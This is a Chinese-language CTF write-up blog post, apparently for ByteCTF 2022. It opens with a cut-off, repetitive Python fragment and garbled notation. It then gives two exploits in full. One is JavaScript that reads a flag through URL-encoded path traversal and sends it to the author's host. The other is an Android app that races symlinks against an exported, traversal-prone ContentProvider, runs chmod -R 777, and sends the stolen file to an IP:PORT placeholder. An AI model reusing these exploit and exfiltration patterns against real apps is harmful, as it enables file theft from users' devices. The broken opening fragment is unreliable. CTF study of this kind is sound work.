    elif ulp == 236:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 237:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 238:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 239:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 240:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 241:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 242:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 243:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 244:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 245:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 246:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 247:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 248:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 249:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 250:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 251:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 252:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 253:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 254:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 255:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))

def get_ulp_Operation():
    global ulp_Operation
    return ulp_Operation

def get_ulp_Operation_inv(ulp_Operation):
    global ulp_Operation
    ulp = ulp_Operation
    if ulp == 0:
        return lambda x, y: (x.value - y.value) % 0x100000000
    elif ulp == 1:
        return lambda x, y:
```

```
(0) = (0) + (0 length) + (0 data)
(0) = (0 length) + (0 data)
(0) = (0 length) + (0 length) + (0 length) + (0 length) + (1 0 0 0
```

EXP

```
<h1 id="wjh">TEST</h1>
<img id="img" src="" width="300"/><br>


<script>
request_url = "https://xxxxxx.cos-website.ap-shanghai.myqcloud.com/local_cache/%2F..%2Ffiles%2Fflag"
var request = new XMLHttpRequest();
request.open('GET', request_url);
request.onload = function () {
    var img = document.getElementById("img");
    if (request.readyState === 4 && request.status === 200) {
        img.setAttribute("src", "https://blog.wjhwjhn.com/flag?flag=" + request.responseText);
    }
    //img.setAttribute("src", "https://blog.wjhwjhn.com/flag?flag=" + request.status);
};
request.send(null);
</script>
```

Gold Droid

题目分析

程序实现了一个 ContentProvider，并且实现了 openFile 功能

```
package com.bytectf.golddroid;


import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;


public class VulProvider extends ContentProvider {
    @Override  // android.content.ContentProvider
    public int delete(Uri uri, String selection, String[] selectionArgs) {
        return 0;
    }

    @Override  // android.content.ContentProvider
    public String getType(Uri uri) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public Uri insert(Uri uri, ContentValues values) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public boolean onCreate() {
        return false;
    }

    @Override  // android.content.ContentProvider
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        File filed = this.getContext().getExternalFilesDir("sandbox");
        File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment());
        try {
            if(!file.getCanonicalPath().startsWith(filed.getCanonicalPath())) {
                throw new IllegalArgumentException();
            }
        }
        catch(IOException unused_ex) {
            return;
        }

        return ParcelFileDescriptor.open(file, 0x10000000);
    }

    @Override  // android.content.ContentProvider
    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
        return null;
    }

    @Override  // android.content.ContentProvider
    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
        return 0;
    }
}
```

在 Manifest 中导出了这个类

```
<?xml version="1.0" encoding="UTF-8"?>
<manifest android:compileSdkVersion="32" android:compileSdkVersionCodename="12" android:versionCode="1" android:versionName="1.0" p
  uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27"/>
  <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtracti
    <activity android:exported="true" android:name="com.bytectf.golddroid.MainActivity">
      <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
      </intent-filter>
    </activity>
    <provider android:authorities="slipme" android:exported="true" android:name="com.bytectf.golddroid.VulProvider"/>
    <receiver android:exported="false" android:name="com.bytectf.golddroid.FlagReceiver">
      <intent-filter>
        <action android:name="com.bytectf.SET_FLAG"/>
      </intent-filter>
    </receiver>
    <provider android:authorities="com.bytectf.golddroid.androidx.startup" android:exported="false" android:name="androidx.startup.
      <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
      <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
    </provider>
  </application>
</manifest>
```

顺便一提的是，这里的 openFile 写法是 Google 的示例代码 Path Traversal 漏洞

```
public ParcelFileDescriptor openFile (Uri uri, String mode)
  throws FileNotFoundException {
 File f = new File(DIR, uri.getLastPathSegment());
 if (!f.getCanonicalPath().startsWith(DIR)) {
  throw new IllegalArgumentException();
 }
 return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
```

漏洞利用

1. 可以通过 `getLastPathSegment` 产生路径穿越，穿越到其他文件，这里选择穿越到我们的软链接
2. `getCanonicalPath` 会读取软链接并且显示真实的地址，所以我们起初可以软链接到 `sandbox` 下的文件，并且通过检测
3. 通过条件竞争，在通过检测后，`ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY)` 前，替换软链接到 flag 文件
4. 当返回 `ParcelFileDescriptor` 为 flag 文件时，我们可以读取 flag 文件并且得到 flag

具体实现

1. 线程1：不断的软链接到 `sandbox/file1`
2. 线程2：不断的软链接到 `flag`
3. 主线程：不断的调用 openFile 得到 `ParcelFileDescriptor` 读取文件

EXP

```
package com.bytectf.pwngolddroid;

import androidx.appcompat.app.AppCompatActivity;
import android.content.ContentResolver;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;


public class MainActivity extends AppCompatActivity {
    ~tring symlink;

    public void httpGet(String msg) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                HttpURLConnection connection = null;
                BufferedReader reader = null;
                try {
                    URL url = new URL("http://IP:PORT/flag?flag=" + msg);
                    connection = (HttpURLConnection) url.openConnection();
                    connection.setRequestMethod("GET");
                    connection.getInputStream();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();
    }

    private String readUri(Uri uri) {
        InputStream inputStream = null;
        try {
            ContentResolver contentResolver = getContentResolver();
            inputStream = contentResolver.openInputStream(uri);
            if (inputStream != null) {
                byte[] buffer = new byte[1024];
                int result;
                String content = "";
                while ((result = inputStream.read(buffer)) != -1) {
                    content = content.concat(new String(buffer, 0, result));
                }
                return content;
            }
        } catch (IOException e) {
            Log.e("receiver", "IOException when reading uri", e);
        } catch (IllegalArgumentException e) {
            //Log.e("receiver", "IllegalArgumentException", e);
        } finally {
            if (inputStream != null) {
                try {
                    inputStream.close();
                } catch (IOException e) {
                    Log.e("receiver", "IOException when closing stream", e);
                }
            }
        }
        return null;
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        String root = getApplicationInfo().dataDir;
        symlink = root + "/symlink";
        try {

            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

        String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.byt
        new Thread(() -> {
            while (true) {
                try {
                    Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).w
                } catch (InterruptedException e) {
                    e.printStackTrace();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();

        new Thread(() -> {
            while (true) {
                try {
                    Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();


        while (true) {
            try {
                String data = readUri(Uri.parse(path));
                if (data != null)
                {
                    Log.e("WJH", data);
                    httpGet(data);
                }
            } catch (Exception e) {
                httpGet(e.getMessage());
            }
        }

    }
}
```

Find IMEI

VProxid(Proxifier alternative) - Apps on Google Play

如何使用magisk在安卓安装https ca证书 | Chara's Blog

证书装上，代理开上，打开app直接出flag

（X-Real-IP是fiddler脚本自动填的，忘记关了）

```
POST https://www.douyin.com/ HTTP/1.1
Host: www.douyin.com
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
X-Real-IP: 127.0.0.1s

DeviceID=ByteCTF{860635176087882 4}
```

WMCTF 2022 OFFICIAL WRITE-UP Coming soon

© 2022 W&M Team. Using Typecho & Morlicolor.